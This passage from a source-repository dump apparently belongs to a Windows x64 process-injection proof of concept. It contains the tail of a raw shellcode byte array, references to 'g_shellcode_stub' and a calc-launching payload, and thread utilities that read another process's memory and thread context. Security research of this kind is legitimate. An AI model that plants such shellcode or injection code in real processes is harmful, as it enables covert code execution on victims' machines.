0x24, 0x40, 0x48, 0x8B, 0x44, 0x24, 0x40, 0x48, 0x8B, 0x40, 0x18, 137 | 0x48, 0x89, 0x44, 0x24, 0x48, 0x48, 0x8B, 0x44, 0x24, 0x48, 0x48, 0x83, 138 | 0xC0, 0x20, 0x48, 0x89, 0x44, 0x24, 0x38, 0x48, 0x8B, 0x44, 0x24, 0x38, 139 | 0x48, 0x8B, 0x00, 0x48, 0x89, 0x44, 0x24, 0x30, 0xEB, 0x0D, 0x48, 0x8B, 140 | 0x44, 0x24, 0x30, 0x48, 0x8B, 0x00, 0x48, 0x89, 0x44, 0x24, 0x30, 0x48, 141 | 0x8B, 0x44, 0x24, 0x38, 0x48, 0x39, 0x44, 0x24, 0x30, 0x0F, 0x84, 0xBF, 142 | 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x30, 0x48, 0x83, 0xE8, 0x10, 143 | 0x48, 0x89, 0x44, 0x24, 0x28, 0x48, 0x83, 0x7C, 0x24, 0x28, 0x00, 0x74, 144 | 0x0C, 0x48, 0x8B, 0x44, 0x24, 0x28, 0x48, 0x83, 0x78, 0x30, 0x00, 0x75, 145 | 0x05, 0xE9, 0x98, 0x01, 0x00, 0x00, 0x48, 0x8B, 0x44, 0x24, 0x28, 0x48, 146 | 0x8B, 0x40, 0x60, 0x48, 0x89, 0x44, 0x24, 0x10, 0x48, 0x83, 0x7C, 0x24, 147 | 0x10, 0x00, 0x75, 0x02, 0xEB, 0xA4, 0x48, 0xC7, 0x04, 0x24, 0x00, 0x00, 148 | 0x00, 0x00, 0xEB, 0x0B, 0x48, 0x8B, 0x04, 0x24, 0x48, 0xFF, 0xC0, 0x48, 149 | 0x89, 0x04, 0x24, 0x48, 0x8B, 0x44, 0x24, 0x28, 0x0F, 0xB7, 0x40, 0x58, 150 | 0x48, 0x39, 0x04, 0x24, 0x0F, 0x83, 0x26, 0x01, 0x00, 0x00, 0x48, 0x8B, 151 | 0x44, 0x24, 0x60, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7, 0x04, 0x48, 0x85, 152 | 0xC0, 0x74, 0x11, 0x48, 0x8B, 0x44, 0x24, 0x10, 0x48, 0x8B, 0x0C, 0x24, 153 | 0x0F, 0xB7, 0x04, 0x48, 0x85, 0xC0, 0x75, 0x05, 0xE9, 0xFF, 0x00, 0x00, 154 | 0x00, 0x48, 0x8B, 0x44, 0x24, 0x60, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7, 155 | 0x04, 0x48, 0x83, 0xF8, 0x5A, 0x7F, 0x47, 0x48, 0x8B, 0x44, 0x24, 0x60, 156 | 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7, 0x04, 0x48, 0x83, 0xF8, 0x41, 0x7C, 157 | 0x35, 0x48, 0x8B, 0x44, 0x24, 0x60, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7, 158 | 0x04, 0x48, 0x83, 0xE8, 0x41, 0x83, 0xC0, 0x61, 0x89, 0x44, 0x24, 0x20, 159 | 0x48, 0x8B, 0x44, 0x24, 0x60, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7, 0x54, 160 | 0x24, 0x20, 0x66, 0x89, 0x14, 0x48, 0x0F, 0xB7, 0x44, 0x24, 0x20, 0x66, 161 | 0x89, 0x44, 0x24, 0x08, 0xEB, 0x12, 0x48, 0x8B, 0x44, 0x24, 0x60, 0x48, 162 | 0x8B, 0x0C, 0x24, 0x0F, 0xB7, 0x04, 0x48, 0x66, 0x89, 0x44, 0x24, 0x08, 163 | 0x0F, 0xB7, 0x44, 0x24, 0x08, 0x66, 0x89, 0x44, 0x24, 0x18, 0x48, 0x8B, 164 | 0x44, 0x24, 0x10, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7, 0x04, 0x48, 0x83, 165 | 0xF8, 0x5A, 0x7F, 0x47, 0x48, 0x8B, 0x44, 0x24, 0x10, 0x48, 0x8B, 0x0C, 166 | 0x24, 0x0F, 0xB7, 0x04, 0x48, 0x83, 0xF8, 0x41, 0x7C, 0x35, 0x48, 0x8B, 167 | 0x44, 0x24, 0x10, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7, 0x04, 0x48, 0x83, 168 | 0xE8, 0x41, 0x83, 0xC0, 0x61, 0x89, 0x44, 0x24, 0x24, 0x48, 0x8B, 0x44, 169 | 0x24, 0x10, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7, 0x54, 0x24, 0x24, 0x66, 170 | 0x89, 0x14, 0x48, 0x0F, 0xB7, 0x44, 0x24, 0x24, 0x66, 0x89, 0x44, 0x24, 171 | 0x0A, 0xEB, 0x12, 0x48, 0x8B, 0x44, 0x24, 0x10, 0x48, 0x8B, 0x0C, 0x24, 172 | 0x0F, 0xB7, 0x04, 0x48, 0x66, 0x89, 0x44, 0x24, 0x0A, 0x0F, 0xB7, 0x44, 173 | 0x24, 0x0A, 0x66, 0x89, 0x44, 0x24, 0x1C, 0x0F, 0xB7, 0x44, 0x24, 0x18, 174 | 0x0F, 0xB7, 0x4C, 0x24, 0x1C, 0x3B, 0xC1, 0x74, 0x02, 0xEB, 0x05, 0xE9, 175 | 0xBC, 0xFE, 0xFF, 0xFF, 0x48, 0x8B, 0x44, 0x24, 0x60, 0x48, 0x8B, 0x0C, 176 | 0x24, 0x0F, 0xB7, 0x04, 0x48, 0x85, 0xC0, 0x75, 0x1C, 0x48, 0x8B, 0x44, 177 | 0x24, 0x10, 0x48, 0x8B, 0x0C, 0x24, 0x0F, 0xB7, 0x04, 0x48, 0x85, 0xC0, 178 | 0x75, 0x0B, 0x48, 0x8B, 0x44, 0x24, 0x28, 0x48, 0x8B, 0x40, 0x30, 0xEB, 179 | 0x07, 0xE9, 0x24, 0xFE, 0xFF, 0xFF, 0x33, 0xC0, 0x48, 0x83, 0xC4, 0x58, 180 | 0xC3 181 | }; 182 | 183 | #else 184 | unsigned char *g_shellcode_stub = nullptr; 185 | unsigned char *g_shellcode_pop_calc = nullptr; 186 | #error 32-bit not supported 187 | #endif 188 | 189 | -------------------------------------------------------------------------------- /threads_util.cpp: -------------------------------------------------------------------------------- 1 | #include "threads_util.h" 2 | 3 | #include 4 | #include "ntddk.h" 5 | 6 | #ifdef _DEBUG 7 | #include 8 | #endif 9 | 10 | //--- 11 | 12 | struct AutoBuffer 13 | { 14 | AutoBuffer() : buf(nullptr), max_size(0), buf_size(0) { } 15 | 16 | ~AutoBuffer() { 17 | if (buf) { 18 | ::free(buf); 19 | buf = nullptr; 20 | } 21 | max_size = 0; 22 | buf_size = 0; 23 | } 24 | 25 | BYTE* alloc(size_t _buf_size) 26 | { 27 | if (_buf_size > max_size) { 28 | BYTE* allocated = (BYTE*)::realloc((void*)buf, _buf_size); 29 | if (!allocated) { 30 | return nullptr; 31 | } 32 | buf = allocated; 33 | max_size = _buf_size; 34 | } 35 | buf_size = _buf_size; 36 | ::memset(buf, 0, max_size); 37 | return buf; 38 | } 39 | 40 | BYTE* buf; 41 | size_t max_size; 42 | size_t buf_size; 43 | }; 44 | 45 | //--- 46 | 47 | bool query_thread_details(IN DWORD tid, OUT threads_util::thread_info& info) 48 | { 49 | static auto mod = GetModuleHandleA("ntdll.dll"); 50 | if (!mod) return false; 51 | 52 | static auto pNtQueryInformationThread = reinterpret_cast(GetProcAddress(mod, "NtQueryInformationThread")); 53 | if (!pNtQueryInformationThread) return false; 54 | 55 | DWORD thAccess = THREAD_QUERY_INFORMATION; 56 | HANDLE hThread = OpenThread(thAccess, 0, tid); 57 | if (!hThread) return false; 58 | 59 | bool isOk = false; 60 | ULONG returnedLen = 0; 61 | LPVOID startAddr = 0; 62 | NTSTATUS status = 0; 63 | status = pNtQueryInformationThread(hThread, ThreadQuerySetWin32StartAddress, &startAddr, sizeof(LPVOID), &returnedLen); 64 | if (status == 0 && returnedLen == sizeof(startAddr)) { 65 | info.start_addr = (ULONGLONG)startAddr; 66 | isOk = true; 67 | } 68 | CloseHandle(hThread); 69 | return isOk; 70 | } 71 | 72 | bool threads_util::query_threads_details(IN OUT std::map& threads_info) 73 | { 74 | for (auto itr = threads_info.begin(); itr != threads_info.end(); ++itr) { 75 | threads_util::thread_info& info = itr->second; 76 | if (!query_thread_details(info.tid, info)) return false; 77 | } 78 | return true; 79 | } 80 | 81 | bool threads_util::fetch_threads_info(IN DWORD pid, OUT std::map& threads_info) 82 | { 83 | static auto mod = GetModuleHandleA("ntdll.dll"); 84 | if (!mod) return false; 85 | 86 | static auto pNtQuerySystemInformation = reinterpret_cast(GetProcAddress(mod, "NtQuerySystemInformation")); 87 | if (!pNtQuerySystemInformation) return false; 88 | 89 | AutoBuffer bBuf; 90 | 91 | NTSTATUS status = STATUS_UNSUCCESSFUL; 92 | while (status != STATUS_SUCCESS) { 93 | ULONG ret_len = 0; 94 | status = pNtQuerySystemInformation(SystemProcessInformation, bBuf.buf, (ULONG)bBuf.buf_size, &ret_len); 95 | if (status == STATUS_INFO_LENGTH_MISMATCH) { 96 | if (!bBuf.alloc(ret_len)) { 97 | return false; 98 | } 99 | continue; // try again 100 | } 101 | break; //other error, or success 102 | }; 103 | 104 | if (status != STATUS_SUCCESS) { 105 | return false; 106 | } 107 | 108 | bool found = false; 109 | SYSTEM_PROCESS_INFORMATION* info = (SYSTEM_PROCESS_INFORMATION*)bBuf.buf; 110 | while (info) { 111 | if (info->UniqueProcessId == pid) { 112 | found = true; 113 | break; 114 | } 115 | if (!info->NextEntryOffset) { 116 | break; 117 | } 118 | size_t record_size = info->NextEntryOffset; 119 | if (record_size < sizeof(SYSTEM_PROCESS_INFORMATION)) { 120 | // Record size smaller than expected, probably it is an old system that doesn not support the new version of this API 121 | #ifdef _DEBUG 122 | std::cout << "The new version of SYSTEM_PROCESS_INFORMATION is not supported!\n"; 123 | #endif 124 | break; 125 | } 126 | info = (SYSTEM_PROCESS_INFORMATION*)((ULONG_PTR)info + info->NextEntryOffset); 127 | if (!info) { 128 | break; 129 | } 130 | } 131 | 132 | if (!found) { 133 | return false; 134 | } 135 | 136 | const size_t thread_count = info->NumberOfThreads; 137 | for (size_t i = 0; i < thread_count; i++) { 138 | 139 | const DWORD tid = (DWORD)((ULONGLONG)info->Threads[i].ClientId.UniqueThread); 140 | auto itr = threads_info.find(tid); 141 | if (itr == threads_info.end()) { 142 | threads_info[tid] = thread_info(tid); 143 | } 144 | thread_info &threadi = threads_info[tid]; 145 | threadi.is_extended = true; 146 | threadi.ext.sys_start_addr = (ULONG_PTR)info->Threads[i].StartAddress; 147 | threadi.ext.state = info->Threads[i].ThreadState; 148 | threadi.ext.wait_reason = info->Threads[i].WaitReason; 149 | threadi.ext.wait_time = info->Threads[i].WaitTime; 150 | } 151 | return true; 152 | } 153 | -------------------------------------------------------------------------------- /threads_util.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include 4 | #include 5 | 6 | namespace threads_util { 7 | 8 | typedef struct _thread_info_ext 9 | { 10 | ULONGLONG sys_start_addr; 11 | DWORD state; 12 | DWORD wait_reason; 13 | DWORD wait_time; 14 | 15 | _thread_info_ext() 16 | { 17 | this->sys_start_addr = 0; 18 | this->state = 0; 19 | this->wait_reason = 0; 20 | this->wait_time = 0; 21 | } 22 | 23 | _thread_info_ext(const _thread_info_ext& other) 24 | { 25 | this->sys_start_addr = other.sys_start_addr; 26 | this->state = other.state; 27 | this->wait_reason = other.wait_reason; 28 | this->wait_time = other.wait_time; 29 | } 30 | 31 | } thread_info_ext; 32 | 33 | typedef struct _thread_info 34 | { 35 | DWORD tid; 36 | ULONGLONG start_addr; 37 | bool is_extended; 38 | thread_info_ext ext; 39 | 40 | _thread_info(DWORD _tid = 0) 41 | : tid(_tid), 42 | start_addr(0), 43 | is_extended(false) 44 | { 45 | } 46 | 47 | _thread_info(const _thread_info& other) 48 | { 49 | this->tid = other.tid; 50 | this->start_addr = other.start_addr; 51 | this->is_extended = other.is_extended; 52 | this->ext = other.ext; 53 | } 54 | 55 | } thread_info; 56 | 57 | bool query_threads_details(IN OUT std::map& threads_info); 58 | 59 | bool fetch_threads_info(IN DWORD pid, OUT std::map& threads_info); 60 | 61 | template 62 | PTR_T read_return_ptr(IN HANDLE hProcess, IN ULONGLONG Rsp) { 63 | PTR_T ret_addr = 0; 64 | SIZE_T readSize = 0; 65 | if (ReadProcessMemory(hProcess, (LPVOID)Rsp, (BYTE*)&ret_addr, sizeof(ret_addr), &readSize) && readSize == sizeof(ret_addr)) { 66 | return ret_addr; 67 | } 68 | return NULL; 69 | } 70 | 71 | inline bool read_context(DWORD tid, CONTEXT& ctx) 72 | { 73 | DWORD thAccess = THREAD_GET_CONTEXT; 74 | HANDLE hThread = OpenThread(thAccess, 0, tid); 75 | if (!hThread) return false; 76 | 77 | ctx.ContextFlags = CONTEXT_INTEGER | CONTEXT_CONTROL; 78 | if (!GetThreadContext(hThread, &ctx)) { 79 | CloseHandle(hThread); 80 | return false; 81 | } 82 | CloseHandle(hThread); 83 | return true; 84 | } 85 | 86 | }; // namespace threads_util 87 | --------------------------------------------------------------------------------